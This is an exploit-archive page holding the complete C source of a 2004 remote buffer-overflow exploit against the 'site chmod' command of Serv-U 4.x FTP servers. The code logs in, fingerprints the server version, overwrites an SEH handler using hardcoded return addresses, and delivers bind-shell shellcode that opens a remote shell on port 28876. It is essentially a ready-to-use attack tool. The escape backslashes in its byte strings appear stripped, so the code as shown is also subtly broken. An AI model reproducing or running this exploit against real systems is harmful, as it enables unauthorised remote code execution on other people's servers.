[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Serv-U 4.x "site chmod" Remote Buffer Overflow Exploit
# Published : 2004-01-30
# Author : SkyLined
# Previous Title : Dream FTP 1.2 Remote Format String Exploit
# Next Title : MS Internet Explorer URL Injection in History List (MS04-004)
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define exploit_length 511
#define NOP 'A'
#define SEH_handler_offset 400
char* SEH_handler = "x41x41xEBx04"; // 3) jmp over next four bytes
char* retaddress_4004 = "xabx1cx5fx01"; // 1) libeay32.015f1cab
char* retaddress_4100 = "xcbx1cx41x01"; // 1) ssleay32.01411ccb
char* retaddress_4103 = "x8bx1dx41x01"; // 1) ssleay32.01411d8b
char* shellcode =
"xebx43x56x57x8bx45x3cx8bx54x05x78x01xeax52x8bx52"
"x20x01xeax31xc0x31xc9x41x8bx34x8ax01xeex31xffxc1"
"xcfx13xacx01xc7x85xc0x75xf6x39xdfx75xeax5ax8bx5a"
"x24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01"
"xe8x5fx5exffxe0xfcx31xc0x64x8bx40x30x8bx40x0cx8b"
"x70x1cxadx8bx68x08x31xc0x66xb8x6cx6cx50x68x33x32"
"x2ex64x68x77x73x32x5fx54xbbx71xa7xe8xfexe8x90xff"
"xffxffx89xefx89xc5x81xc4x70xfexffxffx54x31xc0xfe"
"xc4x40x50xbbx22x7dxabx7dxe8x75xffxffxffx31xc0x50"
"x50x50x50x40x50x40x50xbbxa6x55x34x79xe8x61xffxff"
"xffx89xc6x31xc0x50x50x35x02x01x70xccxfexccx50x89"
"xe0x50x6ax10x50x56xbbx81xb4x2cxbexe8x42xffxffxff"
"x31xc0x50x56xbbxd3xfax58x9bxe8x34xffxffxffx58x6a"
"x10x54x50x56xbbx47xf3x56xc6xe8x24xffxffxffx31xdb"
"x53x68x2ex63x6dx64x89xe1x41x50x50x50x53x53x31xc0"
"xfexc4x40x50x53x53x53x53x53x53x53x53x53x53x6ax44"
"x89xe6x50x55x53x53x53x53x54x56x53x53x53x43x53x4b"
"x53x53x51x53x89xfdxbbx21xd0x05xd0xe8xe2xfexffxff"
"x31xc0x48x8bx44x24x04xbbx43xcbx8dx5fxe8xd1xfexff"
"xffx5dx5dx5dxbbx12x6bx6dxd0xe8xc4xfexffxffx31xc0"
"x50x89xfdxbbx69x1dx42x3axe8xb5xfexffxff";
int sock;
FILE* FILEsock;
int doubling;
void send_command(char *command, char *arguments) {
int i;
send(sock, command, strlen(command), 0);
send(sock, " ", 1, 0);
for (i=0; i<strlen(arguments); i++) {
send(sock, arguments+i, 1, 0);
if (doubling && arguments[i] == 'xff') send(sock, arguments+i, 1, 0);
}
send(sock, "x0ax0d", 2, 0);
}
int main(int argc, char *argv[], char *envp[]) {
struct sockaddr_in addr;
char *outbuffer, inbuffer[256];
char *retaddress = NULL;
char *version = NULL;
if (argc<5) {
printf("Usage: %s IP PORT USERNAME PASSWORD [DIRECTORY]n", argv[0]);
exit(-1);
}
printf("- Serv-ME ----------------------------------------------------n"
" Serv-U v4.x "site chmod" exploit.n"
" Written by SkyLined <SkyLined@EduP.TUDelft.nl>.n"
" Credits for the vulnerability go to ICBM <icbm@0x557.net>.n"
" Thanks to H D Moore for the shellcode (www.metasploit.com).n"
" Greets to everyone at 0dd and #netric.n"
" (K)(L)(F) for Suzan.n"
"n"
" Binds a shell at %s:28876 if successfull.n"
" Tested with: v4.0.0.4, v4.1.0.0, v4.1.0.3 on W2K-EN.n"
"--------------------------------------------------------------n",
argv[1]);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[2]));
addr.sin_addr.s_addr = inet_addr(argv[1]);
printf("n[+] Connecting to %s:%s...n", argv[1], argv[2]);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("Socket creation failed");
exit(-1);
}
if (connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1) {
perror("Connection failed");
exit(-1);
}
FILEsock = fdopen(sock, "r");
printf(" --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
if (strstr(inbuffer, "220 Serv-U FTP Server v4.") != inbuffer) {
printf("[-] This is not a Serv-U v4.X ftp server.n");
exit(-1);
}
if (strstr(inbuffer, "v4.1") > 0) {
retaddress = retaddress_4103;
version = "4.1.0.3";
}
printf("n[+] Login in as %s:%s...n", argv[3], argv[4]);
send_command("USER", argv[3]);
printf(" --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
send_command("PASS", argv[4]);
printf(" --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
if (strstr(inbuffer, "230") != inbuffer) {
printf("[-] Login failed.n");
exit(-1);
}
if (argv[5]) {
printf("n[+] Changing directory...n");
send_command("CD", argv[5]);
printf(" --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
}
outbuffer = (char*) malloc(exploit_length + strlen(shellcode));
memset(outbuffer, NOP, exploit_length);
memcpy(outbuffer+exploit_length, shellcode, strlen(shellcode));
printf("n[+] Checking if \xff doubling is nescesary: ");
send_command("SITE CHMOD 477", "-xffxff-");
fgets(inbuffer, sizeof inbuffer, FILEsock);
if (strchr(inbuffer, 'xff') == strrchr(inbuffer, 'xff')) {
doubling = 1;
printf("Yes.");
retaddress = retaddress_4004;
version = "4.0.0.4";
} else {
printf("No.");
if (retaddress==NULL) {
retaddress = retaddress_4100;
version = "4.1.0.0";
}
}
printf("n[+] Serv-U FTP server version %s: using retaddress 0x%08x",
version, *(int*)retaddress);
memcpy(outbuffer + SEH_handler_offset, SEH_handler, strlen(SEH_handler));
memcpy(outbuffer + SEH_handler_offset + 4, retaddress, strlen(retaddress));
printf("n[+] Sending exploit... ");
send_command("SITE CHMOD 477", outbuffer);
printf("send, you can now try to connect to %s:28876.n", argv[1]);
printf(" --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
close(socket);
printf("n[+] Done. n");
}
// www.Syue.com [2004-01-30]